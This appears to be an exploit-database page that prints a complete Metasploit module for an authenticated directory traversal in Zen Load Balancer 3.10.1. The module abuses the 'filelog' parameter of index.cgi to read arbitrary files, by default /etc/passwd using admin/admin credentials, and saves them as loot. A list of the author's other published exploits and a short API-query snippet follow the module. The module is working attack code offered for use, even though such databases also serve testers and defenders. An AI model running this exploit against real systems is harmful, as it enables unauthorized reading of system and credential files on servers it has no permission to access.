Search for hundreds of thousands of exploits

"Zen Load Balancer 3.10.1 - Directory Traversal (Metasploit)"

Author

Exploit author

"Dhiraj Mishra"

Platform

Exploit platform

cgi

Release date

Exploit published date

2020-04-23

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Zen Load Balancer Directory Traversal",
      'Description'    => %q{
          This module exploits a authenticated directory traversal
vulnerability in Zen Load
          Balancer `v3.10.1`. The flaw exists in 'index.cgi' not
properly handling 'filelog='
          parameter which allows a malicious actor to load arbitrary file path.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Basim Alabdullah', # Vulnerability discovery
          'Dhiraj Mishra'     # Metasploit module
        ],
      'References'     =>
        [
          ['EDB', '48308']
        ],
      'DisclosureDate' => "Apr 10 2020"
    ))

    register_options(
      [
        Opt::RPORT(444),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 16]),
        OptString.new('FILEPATH', [false, 'The name of the file to
download', '/etc/passwd']),
        OptString.new('TARGETURI', [true, "The base URI path of the
ZenConsole install", '/']),
        OptString.new('HttpUsername', [true, 'The username to use for
the HTTP server', 'admin']),
        OptString.new('HttpPassword', [false, 'The password to use for
the HTTP server', 'admin'])
      ])
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "../" * datastore['DEPTH']

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.cgi'),
      'vars_get'=>
      {
        'id'      => '2-3',
        'filelog' => "#{traversal}#{filename}",
        'nlines'  => '100',
        'action'  => 'See logs'
      },
      'authorization' =>
basic_auth(datastore['HttpUsername'],datastore['HttpPassword'])
      }, 25)

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    print_good("#{peer} - Downloaded #{res.body.length} bytes")
    path = store_loot(
      'zenload.http',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end
Release DateTitleTypePlatformAuthor
2020-04-23"Zen Load Balancer 3.10.1 - Directory Traversal (Metasploit)"webappscgi"Dhiraj Mishra"
2020-03-11"Wing FTP Server - Authenticated CSRF (Delete Admin)"webappsphp"Dhiraj Mishra"
2020-02-06"VIM 8.2 - Denial of Service (PoC)"doslinux"Dhiraj Mishra"
2020-01-16"Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal"webappsmultiple"Dhiraj Mishra"
2019-06-06"Supra Smart Cloud TV - 'openLiveURL()' Remote File Inclusion"webappshardware"Dhiraj Mishra"
2019-05-27"Typora 0.9.9.24.6 - Directory Traversal"remotemacos"Dhiraj Mishra"
2019-04-30"Spring Cloud Config 2.1.x - Path Traversal (Metasploit)"webappsjava"Dhiraj Mishra"
2019-04-26"Apache Pluto 3.0.0 / 3.0.1 - Persistent Cross-Site Scripting"webappsjava"Dhiraj Mishra"
2019-04-18"Evernote 7.9 - Code Execution via Path Traversal"localmacos"Dhiraj Mishra"
2019-02-28"WebKitGTK 2.23.90 / WebKitGTK+ 2.22.6 - Denial of Service"doslinux"Dhiraj Mishra"
2019-01-21"GattLib 0.2 - Stack Buffer Overflow"remotelinux"Dhiraj Mishra"
2018-11-06"libiec61850 1.3 - Stack Based Buffer Overflow"locallinux"Dhiraj Mishra"
2018-08-23"Epiphany Web Browser 3.28.1 - Denial of Service (PoC)"doslinux"Dhiraj Mishra"
2018-08-14"cgit 1.2.1 - Directory Traversal (Metasploit)"webappslinux"Dhiraj Mishra"
2018-08-14"Oracle Glassfish OSE 4.1 - Path Traversal (Metasploit)"webappslinux"Dhiraj Mishra"
2018-06-11"WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' Denial of Service (Metasploit)"doslinux"Dhiraj Mishra"
2018-06-05"WebKitGTK+ < 2.21.3 - Crash (PoC)"locallinux"Dhiraj Mishra"
2018-06-01"Epiphany 3.28.2.1 - Denial of Service"dosmultiple"Dhiraj Mishra"
2018-04-05"WebRTC - Private IP Leakage (Metasploit)"webappsmultiple"Dhiraj Mishra"
2017-12-20"Samsung Internet Browser - SOP Bypass (Metasploit)"remoteandroid"Dhiraj Mishra"
2017-09-02"IBM Notes 8.5.x/9.0.x - Denial of Service"dosmultiple"Dhiraj Mishra"
2017-08-31"IBM Notes 8.5.x/9.0.x - Denial of Service (Metasploit)"dosmultiple"Dhiraj Mishra"
2017-08-31"IBM Notes 8.5.x/9.0.x - Denial of Service (2)"dosmultiple"Dhiraj Mishra"
2017-08-30"Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery"webappsruby"Dhiraj Mishra"
2017-08-09"Symantec Messaging Gateway < 10.6.3-267 - Cross-Site Request Forgery"webappsmultiple"Dhiraj Mishra"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48373/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.